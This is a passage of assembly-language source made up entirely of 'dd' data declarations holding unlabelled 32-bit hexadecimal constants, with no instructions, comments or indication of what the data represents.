38A8108Ch, 0F4F5068Ah, 0C9093E38h, 6EAF9CC3h, 7CF28F9Dh dd 8A226CF7h, 0A34247F0h, 73118B45h, 6C52B93Ch, 0F11145DEh dd 15C58C4h, 0E442CAA9h, 130D4797h, 1F6E88B7h, 0CF1E0D95h dd 0D387506Ch, 2D0B861Bh, 0DE301647h, 519DB1BCh, 0ADD4D799h dd 0E35C24CDh, 42909122h, 57EA27B4h, 1333128Ah, 0D0D5D1Eh dd 8D44A6D4h, 0CF5E920Bh, 6F78DB8h, 6CCEC475h, 0FD8835EBh dd 0F07E886Dh, 4E89EC13h, 0DA19ADBh, 6EA32913h, 3F75CAB5h dd 91D3E164h, 3B73A0EBh, 0CE74F354h, 1AA4A57Bh, 13D9C1C1h dd 67A23E9Fh, 58B6A94Fh, 0F004AA9h, 795FF2B8h, 0FF6C93F8h dd 87894C43h, 0AED70043h, 0E72E76C9h, 0A44273B0h, 2B78EB9h dd 4A5D7470h, 88100ABDh, 0BBE02C74h, 4D3BCCACh, 705E01FAh dd 0BEF92D6Dh, 5EC7AE78h, 5AEDB9B6h, 7A797E94h, 23C50B86h dd 0C8566874h, 0C2259B43h, 0CC29EFD1h, 49F1BDE9h, 4AC2424Fh dd 0E315668Dh, 0BFE64137h, 94A0D839h, 50B1F6BBh, 0F414CC16h dd 0DB16FE2h, 4216E5Ch, 0C05A7CB3h, 0C61D76A1h, 0F20F8C57h dd 1CA20790h, 94218C4Dh, 58F8332Bh, 0EB081169h, 853181A6h dd 0BAE243E3h, 533361A7h, 2238232h, 0D1A0D5EAh, 1023438Ch dd 900B560Bh, 0A947264Ch, 786BF734h, 887EADD2h, 909E0156h dd 0B5D05D37h, 0CB26DC70h, 96C83892h, 2DD9A341h, 4F44F7B6h dd 4A14F41Dh, 0D2376D4Fh, 9D39399h, 0C885F057h, 32086190h dd 16F86233h, 5C7FFED6h, 0C8C42897h, 0F7513611h, 0A89D8DD0h dd 1FE46993h, 93349B22h, 0B40430DBh, 0CABE5E0Eh, 0E48C855Bh dd 63AFD63Ch, 77BEBCCDh, 0C582F789h, 0A03C4004h, 0BC94271Bh dd 5EC04D04h, 0AA544127h, 7D2AF67Eh, 0BDA4D49Ah, 609E3D64h dd 0E99C54FCh, 438DD419h, 222B6F83h, 0E5EA6090h, 0B9619715h dd 8290CCFCh, 5CAD24B1h, 0CB8B72F3h, 8CA712A2h, 91A9885Dh dd 0A17051B3h, 0D5338696h, 0C0C1721Ch, 0DFAB6F50h, 2AA6A1B2h dd 6DF7D17Bh, 17CC9723h, 0D0C6CE2Bh, 0DA9C4E4Dh, 22F53DF6h dd 28A85EA8h, 35EC2FE8h, 3A87BD7Ch, 0BFC54D07h, 826FC206h dd 5F796E63h, 0CFCE012Eh, 8D083610h, 0CC61028Dh, 6B6E4E78h dd 70D1F6B5h, 0C74F621h, 0DC94AC13h, 0D96FBBE9h, 0EF495E62h dd 9F3717D1h, 53407846h, 650F742h, 11F1301Dh, 9C3B7E6Dh dd 75D1F338h, 331431BCh, 0F84DF5B5h, 82C7011h, 7CEAEF95h dd 116381F5h, 0F657C5ADh, 13A0684Dh, 9537AAFBh, 0A67B8E46h dd 48428E85h, 0F347FF94h, 1C8456BCh, 6C1A10F5h, 0A981FE0Eh dd 8D910F72h, 0AE5B463h, 54FFF450h, 0BE189E84h, 878E0E78h dd 0B9E77685h, 43CEB469h, 97C020E3h, 0DED49A1Ch, 66EC5914h dd 0E261D2C9h, 0EE838EFh, 22A5DE4Dh, 0C091707h, 23D7B09Dh dd 44842864h, 31CE413h, 0BBAAEEBDh, 55B8B3ABh, 0A0229Ch dd 0DE1A5AE7h, 136E8F38h, 2A4DB0D3h, 0B06EC42Dh, 279EA488h dd 0B92EDCC6h, 3E837DB4h, 0C992BC75h, 74025FDEh, 0B2E0487Fh dd 9A972413h, 0D1DC850h, 4A0821DCh, 0C0C483D3h, 9A317862h dd 48E31B26h, 60222332h, 0A4D5ED82h, 0A67BACD7h, 0A5B72D6Ah dd 30B0B404h, 0D6DC5ACEh, 4FB8D8B6h, 3A00EF12h, 8B821B21h dd 6CAB4D04h, 8CF58374h, 4E601FCEh, 0AFA9B069h, 0DFD98295h dd 0E500E6BEh, 0EF48E164h, 2E085D35h, 5F11CC9Dh, 0F4C8CE93h dd 0DE67B79Dh, 0A887E6E2h, 9F57BC84h, 464F34A9h, 9DB82DE1h dd 0D39AE8E5h, 0F4EB5398h, 3F1F3301h, 0C358732Dh, 0F35E50A9h dd 5905DEB2h, 6E7D2644h, 0F2D70243h, 1A0ABB6h, 2109B0C8h dd 902BAD1Ah, 340BA09Ah, 0D0D9F252h, 57F96DEDh, 44A4668Ah dd 0C9DA349h, 6F6C998Dh, 0AD50AC25h, 38ADD0EEh, 7EFA3363h dd 0A671D12Dh, 84545D77h, 436BF3CDh, 9754A319h, 0DDA05877h dd 4EDD04AAh, 51BF0D14h, 17BA93F9h, 0AE158D1Ch, 8BB3772Fh dd 671E387Fh, 66548998h, 3339EDE6h, 66E52ABAh, 0DA0C9BF5h dd 2F2A38CBh, 0AF579515h, 8D3C0CA1h, 8274F329h, 6624F46Eh dd 0AB25342h, 0EFC1ED76h, 3CF92466h, 89E1A7B5h, 515A9B51h dd 1C5E976Ch, 78F55802h, 0AEEF506Bh, 3D1AE1DEh, 0D4977B8Ah dd 40BFF395h, 0EC4B9495h, 0D71CF77Dh, 0AFBF65ECh, 958ACF94h dd 0B2D86357h, 9F36BEE4h, 7C065894h, 3D38AC65h, 9F7373Dh dd 77201555h, 2278D361h, 590B62C6h, 5E8FC973h, 0E7FA944Dh dd 0F6CEF8D9h, 0EB1F5FD3h, 73DA961Ch, 0A3E75379h, 0E355514Ah dd 0DF6F42Ch, 29750502h, 777A66F0h, 0AE5768E1h, 98DE0636h dd 471E80F9h, 81F50B6Ch, 0F0CEEA56h, 0AB5CFE2Eh, 7C640125h dd 5D45EC72h, 4E3D7C0Eh, 0DC7844C7h, 0E58C79C0h, 0B76BD326h dd 453C26Fh, 0EF1207A3h, 77780BECh, 0A51CAFE9h, 0AA1EE08Ch dd 0F4848FFCh, 4ABF05DAh, 6085DFCDh, 29926FE0h, 0C61F84B7h dd 147CB417h, 6DFCCFFDh, 90F593DAh, 5EB75FFAh, 4F55494Ch dd 7F95139Bh, 4DAE3264h, 0D55C83B7h, 0BE684E0h, 5ECEEB80h dd 591F8737h, 0B974C071h, 1D57C6D4h, 44DCB29Eh, 0BADEFE52h dd 0BABC1C6Eh, 0E4E77C5Bh, 663C0CF5h, 863438E6h, 0A0AF35C7h dd 0B4B67199h, 7AF45B9Dh, 0CB14424Ah, 3459BBAEh, 0CDD8CD56h dd 10D575BEh, 7AA88389h, 0A11EDBB9h, 0D0C56F10h, 0B61785B1h dd 0A102E40Dh, 9915142Bh, 0E95F5D1h, 9214C2FAh, 3625019Ah dd 587AE816h, 75823ABCh, 0D3D061Bh, 17310D77h, 0F3C0B60h dd 0C5545D71h, 3BF92E9Fh, 0B1451F6Fh, 0F784EB95h, 34C6F7Bh dd 46118CFAh, 8E3977F3h, 0F0C7F344h, 5F6A885Eh, 0F2CC1F74h dd 9BEE4EE7h, 0E2E6CC17h, 0CC22ECF1h, 8B939111h, 0FF673694h dd 0ECE0C44Fh, 36635E41h, 82EFB5B9h, 33C1E167h, 61DBCCADh dd 2E3B105Ah, 25BAA637h, 32B60C5Bh, 0A79276BDh, 82B1650Fh dd 9BE3FC5Fh, 0B1716788h, 0F050712Fh, 16551D00h, 0CDD1063Eh dd 1E8C0029h, 8E6284A3h, 9D111BDBh, 0A3697B08h, 1CE46BDDh dd 0EA12BB5Bh, 98A66CC1h, 27809780h, 60724C91h, 0AF800F03h dd 0D97BCC98h, 0CE2E1F61h dd 94104823h, 0CE08B21h, 0F4A999F1h, 0C33ADDE0h, 0C52F817Ch dd 4D9AF84Fh, 4CA69E78h, 15C45F8Eh, 9E6C50F3h, 3109DB09h dd 338F04A5h, 0D951A0CCh, 0CC0389Ah, 516181A9h, 98E33563h dd 4E9BB7B5h, 387BCBE1h, 4836FFECh, 0D4BDBA65h, 864F9DD0h dd 0EEC166DDh, 0EB6A39C0h, 0AF5DBAFDh, 3E4037B7h, 27666D19h dd 1A28006Ah, 14847B42h, 67A9AE04h, 0C55F9782h, 649F7C7Eh dd 90AAB5F6h, 0D011363Bh, 0B35E64F1h, 0F27F833Eh, 0FF1A59C2h dd 4EE04421h, 86D6A5D9h, 3EEFC9DCh, 6065E1DBh, 9FFAB350h dd 48285103h, 0A72A3E6Dh, 2395EB9Bh, 0BEC5BAFAh, 0E4447ADh dd 813EB69h, 0C9F40A0Ah, 317FE896h, 23CD193Dh, 78B89E72h dd 4524B8FBh, 0B5FA0768h, 0BE8F77E0h, 0BF3FEDF3h, 0C8A94F1h dd 0A379F21Ah, 0D44D573Bh, 6F46EC42h, 6386D9CEh, 0D2EB7AFDh dd 769E1D10h, 0BF54591Eh, 862FD7C2h, 9AD5B6D8h, 0F89CB85Ch dd 62DCCAFDh, 0A3D6ABD8h, 5870A5DBh, 50D00EB7h, 326AFA27h dd 5A966BBDh, 883CE77Ah, 0F25FB211h, 74C1FA8Ah, 0C65AEEFFh dd 0A39D3620h, 7DF4A3EBh, 6C1B816Fh, 4A80C033h, 0A6FD5D08h dd 42B1F0F6h, 0CEC96EB8h, 0A1B1950Eh, 0F08271F4h, 527B1F39h dd 9CE13493h, 9AD2C25Fh, 7501D348h, 11382EBDh, 9BFF486Ah dd 1E111359h, 9C4FF0ACh, 77E918DBh, 0BFBF3383h, 0C0C52D09h dd 42487974h, 0D121E571h, 0A91D6434h, 0F62D9252h, 46F86451h dd 42E7F61Ah, 0BDE04668h, 6860CC9Ch, 364242C4h, 6D2FDCB8h dd 2868D7E2h, 0D0CEA815h, 609B5B92h, 0F243C9B8h, 0C097C573h dd 5994A1C4h, 0D7371DDEh, 7EAAE8Eh, 0F5199BDEh, 6EA6FAC0h dd 86E6722Fh, 1C3DB3BDh, 74D17606h, 8D96480Ah, 1BFEFC28h dd 79EA6F42h, 0A5CA2CCFh, 56045C37h, 6846E54Eh, 4EC56A8Eh dd 0A1346582h, 9C9685E2h, 0F9AE4298h, 0C5DE3B92h, 5EE8DA10h dd 11BC925Eh, 9BB73244h, 4C668186h, 52132C04h, 0DF21D33Fh dd 160C76AFh, 96BE887Dh, 28CF631Eh, 16C00D05h, 0A0C776BDh dd 1DEB4E19h, 0FB4918B2h, 0E7F65C6Ah, 0F284DDC3h, 0F83A3754h dd 29A27F50h, 0AAE54D1Ah, 5E0D33AFh, 829FAFF8h, 7F7B2AA8h dd 35ACE5E3h, 3532737Bh, 5E90EB5Bh, 0AFABFDF3h, 52278FCEh dd 591D71FCh, 0C340F522h, 0DCC6941Ah, 8275DB34h, 0D1E75213h dd 24D84FF3h, 0D54128B1h, 0E78E6A8Eh, 0DF4AD0AFh, 7288D19Fh dd 84D3301Eh, 0B4A9AA1h, 34885B0h, 82ABA6AAh, 0BA547B2h dd 621130E4h, 0B1A54D8Ch, 3089C193h, 0E53F35B9h, 326679A9h dd 211E329Fh, 0E542BC6Fh, 783D1D77h, 0E26EC8D1h, 7D5C4444h dd 65B74F43h, 0F51A9058h, 0D84589AFh, 0FDA1EF9h, 52A73015h dd 0E155B114h, 7F337EFh, 9DCA4008h, 17289E50h, 0D4E18642h dd 9E4C48F0h, 170D1CB2h, 958FB0BCh, 0A3F90FCEh, 0A902EF69h dd 0E98D1B5Dh, 42DA8BF9h, 9197DBE7h, 7042998Ch, 0DC5BF80Eh dd 0AF35B5EDh, 0A871C60Eh, 0FF775419h, 0E33BBB5Bh, 9727D470h dd 0A9BD8384h, 0A8E9EB2Bh, 0F860E886h, 0F9A4CA34h, 9E5B2D60h dd 0FAE2A83Ah, 0B2AB8170h, 0D2E87233h, 0AB379D28h, 331BEE1Dh dd 64443731h, 0D93D00E7h, 0ADDD5EF9h, 0D70D8BCh, 7D8C9B4Dh dd 0E2CA4A45h, 733214C7h, 1E48BCE5h, 0D66B6BF4h, 0EDB758C0h dd 37C4C604h, 52E29997h, 475FC36Eh, 0A0098085h, 1774D5DEh dd 0C066478Bh, 5604AA90h, 52F21107h, 60633E0h, 84A05B13h dd 0E9AC86EDh, 15A89709h, 0ACFBA5F8h, 7D50E0F4h, 0A37C8E28h dd 6A901608h, 72DC3B1Ch, 0D20472DBh, 1BF28AC7h, 1618EADCh dd 0B05E33BEh, 0C7434E0Eh, 4BADD8EDh, 0C428632Bh, 2DE075BDh dd 2FB68E3Fh, 0CF4215DEh, 8E8F1714h, 83201E1h, 4C9ED60h dd 0A9C23FE0h, 8B77164Fh, 7F56DC03h, 16A9553Ah, 87B61DB1h dd 12811F5h, 0CF42DB2h, 42F8A893h, 0BB7F1114h, 94FC7549h dd 0DBF95948h, 3399CD6Ah, 0A5E90C85h, 66FB65D8h, 7147961Ch dd 1C8F27AEh, 0DF7EBDA3h, 94F0CEF9h, 2D4FDF6Dh, 5249FB9Ch dd 0B07CC0C1h, 0DE531736h, 355D1262h, 3D2F5D4Fh, 0BABD3B2Fh dd 0A0A04547h, 0E6D6982Fh, 0A9617544h, 3E3D9BE8h, 0D64B4849h dd 75918207h, 5ED9C89Fh, 0C9DD92FBh, 8DB09C7Ch, 0DE92C75Bh dd 6962F787h, 93D15B02h, 63DC3D18h, 0CE138324h, 25A67C1Bh dd 90B44101h, 0A631FB8Eh, 0E49C7E82h, 1666A4DEh, 7A4B4B49h dd 0B5D98CAAh, 7B9C47B6h, 0E390BAC6h, 67EFB2F7h, 0C65CA505h dd 0C83E5578h, 0AFBE1D05h, 0DD018679h, 7F73B1EDh, 0FE6C7CCFh dd 30475943h, 9BD732C4h, 0C6E9AFB7h, 6AAB4EDDh, 0FA98D2B9h dd 0E224007Bh, 60B2AC06h, 3DC1DF91h, 7FA84F3h, 8FCC6DCCh dd 0C2455C84h, 0E0C8D2B3h, 806085A0h, 0F7A65601h, 63826231h dd 0D5ECDFB1h, 208F5DA4h, 867B7819h, 0A7BAC4B7h, 8EC0C7CCh dd 0FD8E687Eh, 34024FE7h, 85EB9360h, 47A5F704h, 0F11FA4D5h dd 2A6E565Fh, 8D359235h, 7F29363Bh, 21AEC2Ch, 3A0A5685h dd 7F9DCF69h, 0BF71DFBFh, 64554C88h, 88B019E3h, 5CDA0DACh dd 29FB5FECh, 84BC666Fh, 540089ADh, 750E959Bh, 691691E8h dd 5364E109h, 0E3C41FA9h, 611593BEh, 9E16EB51h, 57B0589Bh dd 145D638h, 0EB9E3CE0h, 87660850h, 9CC95692h, 0BE0F7151h dd 19D7D2A2h, 0CB6DC7DFh, 0D4143665h, 0A6700D17h, 0DD2C00E3h dd 4D676324h, 0ADAC42E8h, 0E1CF3B39h, 90FC8679h, 0E4B0B960h dd 1373CB9Fh, 0C87FA51Bh, 8D8687A9h, 5F2460E8h, 3890731Bh dd 0B70D5F78h, 0EDA952B9h, 43CCE483h, 0B54FD699h, 0F5AB6AF8h dd 9766B6B5h, 0E7BD04C9h, 1CF0F946h, 83749E1h, 5F15308Dh dd 2B5A8989h, 0F1E6DC95h, 51CCEBDBh, 31EC0677h, 0EABE98ACh dd 525B7F24h, 0D71D571Eh, 0D4EA1CF4h, 0F5E2975Eh, 660550F4h dd 0F9E35EDCh, 0A3484FEFh, 0E94D090Dh, 0D124464Ch, 0B113EF43h dd 0DBD359E6h, 9754A0FDh, 24BEC39Eh, 86A80A2Eh, 7FF43F5h dd 0DBCDAC27h, 4FDC0A0Ah, 333FFFF9h, 0DD6C60C8h, 0B53D3A5Eh dd 2D610EBEh, 87164F33h, 750E959Bh, 691691E8h, 0C782C5F6h dd 2F3D64FBh, 484AA7h, 0AFCC105h, 2B6F83D2h, 53569031h dd 71C961Ch, 0C91E05CCh, 1566878Fh, 5C5EFD47h, 82D08EFh dd 0B98A55A9h, 3824A36Fh, 0D5B07B50h, 0CA3373DDh, 0B271C47Ah dd 8D6BDFE0h, 313DB058h, 88F41089h, 9DFF5928h, 0E3884987h dd 0BB8C3813h, 0E261CAD8h, 0A53DE42Bh, 0F267DE17h, 22D698B6h dd 9176D1B3h, 403DD5Fh, 0FA98D2B9h, 0E224007Bh, 57B4DDEFh dd 7966D524h, 70B359B6h, 65F94DB2h, 0E116D768h, 0D0BAF367h dd 46E14E5Eh, 7C598272h, 1C60A806h, 0B18C518Ah, 0BDDEBA1Ch dd 860B87ADh, 158457BCh, 1DF21ECEh, 3888B0B8h, 8F1EF946h dd 3CA98705h, 0E22E50D7h, 0D33D1DD1h, 0B9C1DBD5h, 115A9A64h dd 0AFDD9ABEh, 8DE08B4Eh, 0D8206A92h, 9549FD66h, 84A4C414h dd 0CB5733CFh, 38471398h, 8E275272h, 4296B335h, 0FDE328EBh dd 4721CF36h, 0BDE67B9Ch, 0D043770Bh, 63B0B7EFh, 4735B19Eh dd 0B88F7A1h, 30504992h, 830558ADh, 0CC86E04Ch, 467C6763h dd 2917FE97h, 329F5D75h, 54ED4B58h, 69AF1F47h, 2218E77Eh dd 0D4641644h, 0A1D98A26h, 0EA13E59Dh, 0AE04EC69h, 0DE3CA448h dd 901FB1E5h, 5ABB86Eh, 0FDDF1ECEh, 0D2D381C8h, 4780E57Ch dd 0C68D5B37h, 0FA50882Ch, 0F58A1A17h, 324CD8E8h, 0ECE243C9h dd 0A3A48904h, 1D73E88Fh, 0CC77B108h, 29397BD1h, 5ED21DCCh dd 7B61F5F1h, 0DA21EDA1h dd 0E8A57E2Ah, 19C181C7h, 6D8B474Fh, 0D87CA2E2h, 0BC7E13B4h dd 448CC302h, 4850EB21h, 0DDB437F7h, 0F3702CF1h, 826BAC9h dd 55DBA0E6h, 0BD6891F4h, 59C4DFB3h, 0EFB1D9DEh, 0D84CF7Bh dd 1ACD3D39h, 91940FD4h, 29827821h, 39D41FB0h, 0FCAF06EBh dd 64FEC07Bh, 363DA654h, 0DEA6A53Eh, 220F6324h, 0E3B17765h dd 2E92AF16h, 0AA3E3349h, 6A09EDD9h, 3E00DAF4h, 0CDC690BEh dd 34812C28h, 0BF3BA12Ch, 0BD2EC0FDh, 0BE42DC4Ch, 53F6BCFBh dd 45CD51E4h, 0BA06E46h, 0EF3B56EBh, 9EE4748Bh, 7456813Ch dd 54EE8929h, 0B73199D9h, 0E9E7734Ah, 6E143325h, 0CF7A2823h dd 5AD06273h, 63E9150Fh, 65E37D4Bh, 0D71A3265h, 0D710B873h dd 7CCC6004h, 88632EC2h, 0C934B16Bh, 6F4ED424h, 29C20412h dd 0E723A206h, 20ADFDD8h, 9EBF90B5h, 4F9F5646h, 0CE2BA9DEh dd 89DFC3FDh, 0F3D096B6h, 2F51FB8Eh, 0F4EA947Ah, 0A7994682h dd 5CF753C0h, 9FB12E2Eh, 452DF614h, 0A681E15Fh, 0E85F8F82h dd 9009A416h, 0ACDAEE23h, 0F04F0F45h, 2A99526Fh, 0EECD5FC6h dd 0E69C5152h, 30384CEDh, 62D33092h, 4B49C604h, 54A3DB94h dd 0E90327C2h, 0AB006AF3h, 0EE80BE6h, 7C1F0800h, 5FDB42D4h dd 2850AC51h, 5ACF4C4Eh, 0E7D734DDh, 0C1871449h, 0C525077Bh dd 732DAA5Eh, 1F7EED74h, 0EDB28DAEh, 0FF22B311h, 68D1D8C4h dd 0B5D44BDAh, 8B3A5E89h, 4A877A63h, 9F10916Eh, 64D57F8Ch dd 15FD519Bh, 189794DDh, 0B5511504h, 0A4D7D8D9h, 331A592Eh dd 40FA00EDh, 85B4B4A3h, 0D75147Fh, 0D429EFD7h, 717BE80Bh dd 28235F55h, 70CE45D4h, 0C20A6432h, 61872686h, 0C5C3BA09h dd 0D2DC5C1Ch, 0AA742CE4h, 0EB61546Fh, 0DE090F1Eh, 5B0A70Ah dd 29858105h, 87B90432h, 69F27925h, 578A8FEDh, 8B9DF970h dd 709366D5h, 929860B7h, 98D03F2h, 5FB9F2D6h, 33BB5F05h dd 2F750AB4h, 845A506Ah, 0A72975F5h, 52D78D59h, 10ACF313h dd 570B964Bh, 0DD2A11D5h, 24B77E02h, 22CB4D43h, 50462B4Eh dd 5ABBB76Dh, 67CB89E1h, 0F1CDCB66h, 0AFD719B3h, 0FFAB6E3Bh dd 0FBC6854Ah, 303859F1h, 6C976341h, 26D81244h, 570C36B8h dd 8B6AD2D7h, 7B579FEBh, 4DFF1D09h, 1FECF4Ah, 0D4A8316Eh dd 860E6B41h, 0E74D8C41h, 0C24DEEA4h, 0F9830317h, 2BB49384h dd 0EFA0EDC4h, 6786B8CAh, 6C8E78A3h, 43EDB0DBh, 91E1F3FDh dd 9CA3AC25h, 34961248h, 75CC4CBFh, 0B5644AAFh, 211AADADh dd 0C00F15F6h, 0A69E77FAh, 552BFA7Fh, 7819CD13h, 6797F98h dd 11E3BE48h, 6FDF4C6Dh, 0F50CD7B2h, 0DE4A233h, 93A39304h dd 0B9402D5Dh, 0FE2B4748h, 7F3557F5h, 0CC0BA518h, 54584E92h dd 0C5071D8Ch, 0BB09F0FCh, 50754690h, 0EFA4FFA6h, 30A93B7Eh dd 0A09AC11Eh, 0C7570613h, 78111233h, 0B72FCEA0h, 0E13741A3h dd 0C6051541h, 46D03704h, 64A545F5h, 6FF96C2h, 9BEE6C52h dd 0E1EC6D0Ch, 0B9D61FAEh, 90A01356h, 0B07EE6E6h, 25900448h dd 8A7F0FF5h, 0D50AF5EBh, 1CF84FD7h, 0E07F89A7h, 0DEC2A596h dd 0A2033604h, 6A0DB0EAh, 2184ABF3h, 6DB992D5h, 3D6F7CC7h dd 0FDEBD27h, 19A46B3Ah, 85EC38FEh, 0D3A49675h, 0CA98830Dh dd 2DF3006h, 0D41FBA58h, 7DADEE59h, 0CC460EDAh, 43CB4046h dd 5FE03762h, 949AA3C3h, 0BB976A48h, 0BF832458h, 0DD023A94h dd 7101FC63h, 0CD3130F8h, 0C41A6F7Eh, 7CA70F15h, 8CE48DA0h dd 0A27680EEh, 2385EC3Ah, 0E84A391Ch, 9CB3D5CEh, 0ECBB40FFh dd 0BE4F1DDAh, 28AFE3B8h, 0E48C3BC0h, 71D02AABh, 0E9BD7C73h dd 22D7ED74h, 0FB401316h, 0E3C00347h, 0EDFF9Dh, 0ECB1C7E6h dd 3FBBE44Dh, 0CA27A172h, 118DB59Eh, 0A750E13Fh, 1EB7F30Bh dd 0C303E31Fh, 38257DB6h, 2EE29BBDh, 0C7941098h, 2CB30Bh dd 0B4275Eh, 5EA502F8h, 7D721EEAh, 13C68201h, 3A8172D6h dd 0E63702D9h, 28BBF209h, 0E3B5113Bh, 0DF49B876h, 0E18ACD71h dd 9EAEA798h, 5BFAAC68h, 5460C209h, 0C28A6D4Fh, 73E052D0h dd 1CDA652Bh, 1872BD12h, 0BBB452E8h, 9E03EA3Bh, 0CE5BA485h dd 80D49F84h, 0F217BE2Dh, 402D45E8h, 5BE1598Dh, 6C46D973h dd 2F35B144h, 0FC2B2C4Bh, 342AC47Eh, 0D314D2ADh, 0C95A7ABDh dd 389AAD02h, 0D79E7C9Bh, 8F9C12AEh, 23536475h, 0C84DA906h dd 16A110D3h, 9F190354h, 2E38C2AFh, 118468EAh, 3961052Dh dd 0E65A68E1h, 3E231962h, 0CC56ACF5h, 0A99D205h, 5C327B45h dd 907A3F9Bh, 595319h, 8558635Ah, 0DBF0D67Ah, 44F8C216h dd 7E47D8DAh, 5B3F905Ah, 0FD463D2Dh, 9AD1D9FEh, 0DBA454D4h dd 6D1411BAh, 0A5EA8629h, 858E40F7h, 74160BB9h, 0F624DB39h dd 138A503h, 12C32478h, 0FAC6DD8h, 0C17AE620h, 7FD6ACEDh dd 0C72F76BBh, 82F88CACh, 686E9623h, 2C1C1662h, 7C7D9B1Ah dd 71CA9D96h, 30A20E9Fh, 249DABD6h, 0C565EA58h, 0E3AA1580h dd 0A8A5E5D6h, 6C07D55Eh, 0B0895087h, 16222676h, 9C1C5AB7h dd 0E2373F2Ah, 53B2B57Dh, 0B414271Ah, 3A61880Ah, 95F1BEFCh dd 0D5764652h, 7C05B4C1h, 0D7E799D6h, 0D728B0BEh, 0AEA4759Bh dd 5633B639h, 6DB57B05h, 19C1C46Fh, 3138A5C6h, 4FD1B015h dd 6FE3E01h, 1BF7AC85h, 489DF407h, 51E8A77Dh, 68A1EE72h dd 0F9692556h, 1E68F382h, 8D69427Ah, 583726B7h, 1D9CD10Dh dd 694C188Bh, 4D2D454Dh, 4E1E84D7h, 9224D514h, 0EEDAB0DEh dd 5A0DC70Bh, 0D5D137A7h, 14ED8CCFh, 272F9ADFh, 0E79A17E7h dd 15D70A06h, 5833ABEAh, 65A158A6h, 0C7F1B04Eh, 0F47CC7FFh dd 81B31384h, 4F4F915Ch, 7293980Bh, 3A13D5C8h, 11D4550h dd 6BC73EA3h, 0E5C419EAh, 61CC5386h, 0B38DF12Bh, 0AF134F5Dh dd 0BC302DD1h, 0BBE4EC38h, 21B17DA0h, 5978F806h, 0FDA6C839h dd 5B31F5F7h, 0C911AA25h, 95B2F93Fh, 0EE5D205Fh, 7552357Fh dd 2640B768h, 649FC633h, 31097758h, 8D62BAF5h, 773F2BF2h dd 700DE16Dh, 20D8C223h, 725583B7h, 0BA4D636Ah, 548B6C01h dd 9F2590DDh, 2FB43D3Eh, 2CFC057Ah, 0C8F71F6Ch, 0A55115DAh dd 80EED887h, 0DE66E5EEh, 0C3B976D5h, 6FFFA24Ah, 6112BC6Ah dd 3CC3539Ch, 0B72F7E4Ch, 0DCCEC7A1h, 0BBCF0906h, 0F175F2Fh dd 23A7B620h, 0FC022C5Fh, 5F9A88Ch, 2DCBD090h, 0C3ABA8EEh dd 8D5CC455h, 0C96D658h, 12E7058Dh, 7A982688h, 0BADD027Ah dd 0E3DE3946h, 6052E755h, 79458F9Ah, 0E72A8CC2h, 0C4DBAB20h dd 0B6595D63h, 0D366FD20h, 0E66FBB4Ah, 2A6454D5h, 19F9893h dd 7DA491B3h, 7A1BFF92h, 5B5D48CEh, 74868349h, 96F2E83Bh dd 0ADFEC5BEh, 0CB455F6Eh, 0C3BB7DD7h, 0D8D77E03h, 0DB0ABA56h dd 1CE0D9AFh, 3A9A4435h, 8891709Ch, 7EFCCB0Ch, 7FD4AA7h dd 0B5E8E343h, 7097286Ch, 1D7D7A3Ah, 0AAE82C3Dh, 7DDCDBD6h dd 0AA2BE0D3h, 6200135h, 34287A81h, 37953385h, 15F78D1Fh dd 17F80B7Eh, 2A158D97h, 7D82E16Eh, 0EDB6B288h, 6F1032B2h dd 0DDED1DC3h, 0E1AED745h, 0C2E84254h, 0A562739Bh, 0A0BBAED4h dd 12C0F58Bh, 26584183h, 133265BFh, 65439936h, 4675C6CCh dd 0F3849A33h, 47F666D7h, 0A8805BEDh, 500ECC15h, 70FE7BC1h dd 7DD222A0h, 75D4097h, 9107643Ch, 9390F6Ch, 0E2FBEEEBh dd 0ECC443D6h, 55DBCF15h, 0E1323A87h, 0EBB5B43Fh, 9D5E56F1h dd 0E7991E6Eh, 85FBB867h, 872516FBh, 0B4314C48h, 0AA9829A4h dd 0E20CE0DBh, 477BF2EFh, 860971A3h, 14A6ACBh, 0ED20C4CBh dd 50195D2Dh, 471009C0h dd 0D0EDE95Dh, 838D2DFCh, 0E141E37Ah, 0B515334Ch, 0CA1AE85Bh dd 0C1DB803Ah, 3BB2412h, 3E5C8FA6h, 8F59F784h, 5335C1E1h dd 56533761h, 7E623C3h, 0C5740AD5h, 0E4EA523Bh, 32E1EA40h dd 20E64BAEh, 8CFCCF6h, 0CC88272Dh, 46AC2364h, 11370427h dd 5C19C2CAh, 89E47E80h, 70C882ADh, 5899120Ah, 0B4221E2Ch dd 0EFC56307h, 0AB2E3E91h, 3A5F773Ah, 0AA3F9689h, 49247BBBh dd 6F4723A2h, 69F9DF42h, 531E1F00h, 52BD9BA8h, 43594E77h dd 0EB732062h, 0B179626Bh, 57A1711Ch, 0A184478Eh, 65855D82h dd 3E40918Dh, 0C6567931h, 62EA22E0h, 0D7280585h, 3B87DC9Eh dd 0CA4CB89Ah, 0C7F48B2Ah, 0BF7CF8C2h, 32B1F32h, 74185CB7h dd 547D7647h, 2191354Dh, 1DB8F2D6h, 70461384h, 9439B73Bh dd 55E4031Dh, 94D9181Ch, 585D444Ah, 0D5320F22h, 851CB7A8h dd 0B567F0CFh, 49CBA38Ch, 347F4902h, 3364B86Dh, 0AD6DB9EBh dd 0ACDC3DA0h, 0CC8E93BEh, 0E8BEE563h, 0B02E600Dh, 9ABBEC91h dd 122E1F85h, 0B8B5300Dh, 6B131A66h, 4BB1410h, 7D1C1A94h dd 54BC8006h, 0A1C2EE27h, 0FD0ED149h, 0CB53074Ch, 502233ECh dd 5A2C891Dh, 28205573h, 1ADC1E5Fh, 3AEF13D6h, 7606900Eh dd 0C1419228h, 4D858E1Dh, 0F4639738h, 5E90EB5Bh, 0AFABFDF3h dd 66C8DEEEh, 8F8A3BDh, 68909BA5h, 868D230Dh, 0C9C0DAEAh dd 3EF175D4h, 47A1B818h, 0F078C135h, 0CC22ECF1h, 8B939111h dd 76874D47h, 55D0D6C4h, 85AB2A8Bh, 0FD999BE2h, 0B36AA2E2h dd 6690EB81h, 6089F485h, 9DFFC02Ch, 0FFF6B607h, 99CADFADh dd 35A7E32Eh, 765042FEh, 0E85EDABEh, 972EA685h, 6BE7D186h dd 23A17B1h, 2C89AB51h, 0A753A801h, 0CDC528F9h, 30C5BD51h dd 8C7ED39Dh, 2D37A7A3h, 53D5E058h, 0FD7F1AA2h, 0D61F5515h dd 0EE0FBDD5h, 975EA421h, 0E20AA0A6h, 0C20D4AA7h, 0ADC5DB93h dd 0F9AC9C5Bh, 8F52CE1Ch, 859012Fh, 75C99B7Bh, 365FF1DEh dd 65F63811h, 0BDECD851h, 0F0446CC9h, 